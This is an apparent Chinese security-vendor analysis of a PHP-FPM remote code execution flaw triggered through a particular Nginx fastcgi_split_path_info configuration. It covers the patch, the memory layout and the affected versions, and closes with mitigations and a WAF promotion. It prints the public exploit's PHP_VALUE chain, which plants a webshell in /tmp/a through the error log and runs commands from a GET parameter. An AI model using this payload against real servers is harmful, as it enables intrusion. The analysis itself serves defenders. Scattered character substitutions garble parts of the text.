近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the
Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会形成php-fpm处理异常,进而致使远程执行任意代码。当前,做者已经在github上公布了相关漏洞信息及自动化利用程序。鉴于Nginx+PHP组合在Web应用开发领域拥有极高的市场占有率,该漏洞影响范围较为普遍。
PHP-FPM在Nginx特定配置下存在任意代码执行漏洞。具体为:
使用Nginx + PHP-FPM搭建的服务器在使用相似以下配置的nginx.conf时:php
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ...
Nginx中fastcgi_split_path_info 在处理存在"n"(%oA) 的path_info时,会将传递给PHP-FPM的PATH_INFO置为空(PATH_INFO=""),影响关键指针的指向,致使后续path_info[0]=0的置零操做位置可控,经过构造特定长度和内容的请求,能够覆盖写特定位置数据,插入特定环境变量,进而致使代码执行。html
首先,分析其补丁:在进行request_info结构体初始化的static void init_request_info(void)函数中,增添对pilen 和slen的大小校验,规避了指针的非预期回溯移动。nginx
// php-src/sapi/fpm/fpm/fpm_main.c ... if (pt) { while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { // 对传入PATH_INFO 进行校验。经过判断文件状态,获取真实PATH_INFO *ptr = 0; f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH int slen = len - ptlen; //script length int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 长度 0 int tflag = 0; char *path_info; if (apache_was_here) { /* recall that PATH_INFO won't exist */ path_info = script_path_translated + ptlen; tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0)); } else { - path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 经过偏移设置新env_path_info,可是未对偏移量作校验 - tflag = (orig_path_info != path_info); + path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL; + tflag = path_info && (orig_path_info != path_info); } if (tflag) { if (orig_path_info) { char old; FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info); old = path_info[0]; path_info[0] = 0; //置零操做 if (!orig_script_name || strcmp(orig_script_name, env_path_info) != 0) { if (orig_script_name) { FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//触发入口 } SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); } else { SG(request_info).request_uri = orig_script_name; } path_info[0] = old; } ...
其中git
//以http://localhost/info.php/test?a=b为例 PATH_INFO=/test PATH_TRANSLATED=/docroot/info.php/test SCRIPT_NAME=/info.php REQUEST_URI=/info.php/test?a=b SCRIPT_FILENAME=/docroot/info.php QUERY_STRING=a=b pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test" len = script_path_translated_len // 为"/docroot/info.php/test" // 通过从新计算处理后 int ptlen = strlen(pt); // strlen("/docroot/info.php") int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test" int slen = len - ptlen; // len("/test") path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移为0 或 -N
可见,当PATH_INFO为空时,path_info 指向发生向前偏移,偏移长度为test的长度。进而path_info[0] = 0;能够将特定位置 单字节置零。可是,普通位置的置零并不会形成RCE,进一步利用须要将特定控制位置零,且该控制位恰巧能控制写入位置。request->env->data->pos即是这样一处位置。这里须要说明一下各变量的存储方式。github
经过fastcgi协议传入的各环境变量会存储到_fcgi_request->env 这个fcgi_hash结构体中,供后续执行取用,结构具体定义以下:web
// php-src/sapi/fpm/fpm/fastcgi.c typedef struct _fcgi_hash_bucket { unsigned int hash_value; unsigned int var_len; char *var; unsigned int val_len; char *val; struct _fcgi_hash_bucket *next; struct _fcgi_hash_bucket *list_next; } fcgi_hash_bucket; typedef struct _fcgi_hash_buckets { unsigned int idx; struct _fcgi_hash_buckets *next; struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; } fcgi_hash_buckets; typedef struct _fcgi_data_seg { char *pos; char *end; struct _fcgi_data_seg *next; char data[1]; } fcgi_data_seg; typedef struct _fcgi_hash { fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; fcgi_hash_bucket *list; fcgi_hash_buckets *buckets; fcgi_data_seg *data; } fcgi_hash; ... /* hash table */ //初始化操做 static void fcgi_hash_init(fcgi_hash *h) { memset(h->hash_table, 0, sizeof(h->hash_table)); h->list = NULL; h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); h->buckets->idx = 0; h->buckets->next = NULL; h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默认分配 (4*8 - 1) + 4096 h->data->pos = h->data->data; //指向环境变量初始写入位置 h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾 h->data->next = NULL; } ...
其中咱们主要关注其中的get/set操做,实现以下:shell
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) // 关联 FCGI_GETENV() { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; fcgi_hash_bucket *p = h->hash_table[idx]; while (p != NULL) { //须要hast_value值相同,var_len相同才能取出值 if (p->hash_value == hash_value && p->var_len == var_len && memcmp(p->var, var, var_len) == 0) { *val_len = p->val_len; return p->val; } p = p->next; } return NULL; } static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) // 关联 FCGI_PUTENV() { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 计算hash_value肯定 index fcgi_hash_bucket *p = h->hash_table[idx]; //获取原有hash_table中的对应值 while (UNEXPECTED(p != NULL)) { if (UNEXPECTED(p->hash_value == hash_value) && p->var_len == var_len && memcmp(p->var, var, var_len) == 0) { p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); return p->val; } p = p->next; } if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) { fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); b->idx = 0; b->next = h->buckets; h->buckets = b; } p = h->buckets->data + h->buckets->idx; h->buckets->idx++; p->next = h->hash_table[idx]; h->hash_table[idx] = p; p->list_next = h->list; h->list = p; p->hash_value = hash_value; p->var_len = var_len; p->var = fcgi_hash_strndup(h, var, var_len); p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); return p->val; } static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) // 实际操做request->env->data,进行数据写入。 { char *ret; if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //若是准备写入的数据长度大于当前指向的fcgi_hash_seg大小,则向前插入新的fcgi_hash_seg unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//较长值,不跨越两个seg进行写入。 fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); p->pos = p->data; p->end = p->pos + seg_size; p->next = h->data; h->data = p; } ret = h->data->pos; memcpy(ret, str, str_len); //于h->data->pos后写入数据 ret[str_len] = 0; h->data->pos += str_len + 1; //后移h->data->pos到新的可写入位置 return ret; }
由此,咱们能够得出:request->env->data->pos的指向直接影响咱们环境变量Key,Value的写入位置,只要咱们控制了char* pos的指向,就可能覆盖已有的数据。可是,要想达成RCE还存在如下要求及限制:apache
相应地,咱们能够:api
除此以外,鉴于PATH_INFO从新取值部分逻辑主要是处理PATH_INFO与真实path_info不一样的状况,对开头说起的nginx配置项,存在一种状况,发起形如http://localhost/index/info.p...,能够构造如下场景安全
//以http://localhost/index/info.php/test?a=b为例,index为存在的文件 PATH_INFO=/test PATH_TRANSLATED=/docroot/index/info.php/test SCRIPT_NAME=/index/info.php REQUEST_URI=/index/info.php/test?a=b SCRIPT_FILENAME=/docroot/index/info.php QUERY_STRING=a=b pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test" len = script_path_translated_len // 为"/docroot/index/info.php/test" // 通过从新计算处理后 int ptlen = strlen(pt); // strlen("/docroot/index") int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test" int slen = len - ptlen; // len("/info.php/test ") path_info = env_path_info + pilen - slen; // pilen < slen, 即偏移为-N
此时URL中无需存在%0A,亦可完成指针移位,漏洞过程与上述相似,可是由于script_name无效,没法直观显示攻击状态,利用难度较高,再也不赘述。
path_info指向了request->env->data->pos后的内存布局
Exp做者利用PHP_VALUE向PHP传递多个环境变量,使PHP产生错误,以错误日志的形式将webshell输出到/tmp/a,并经过auto_prepend_file自动执行/tmp/a中的恶意代码,达成getshell。
var chain = []string{ "short_open_tag=1", //开启php短标签 "html_errors=0", // 在错误信息中关闭HTML标签。 "include_path=/tmp", //包含路径 "auto_prepend_file=a", //指定脚本执行前自动包含的文件,功能相似require()。 "log_errors=1", //使能错误日志 "error_reporting=2", //指定错误级别 "error_log=/tmp/a", //错误日志记录文件 "extension_dir=\"<?=\`\"", //指定extension的加载目录 "extension=\"$_GET[a]\`?>\"", //指定加载的extension }
在文初提到的配置下,该漏洞影响如下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
能够经过 Nginx 增添配置try_files %uri = 404php设置cgi.fix_pathinfo=0选项,临时规避漏洞影响。也能够选择使用官方已经释出的更新进行彻底修复。
京东云-WAF现已支持对该漏洞的防御,点击【阅读】,获取更多产品信息。
欢迎点击“京东云”了解更多精彩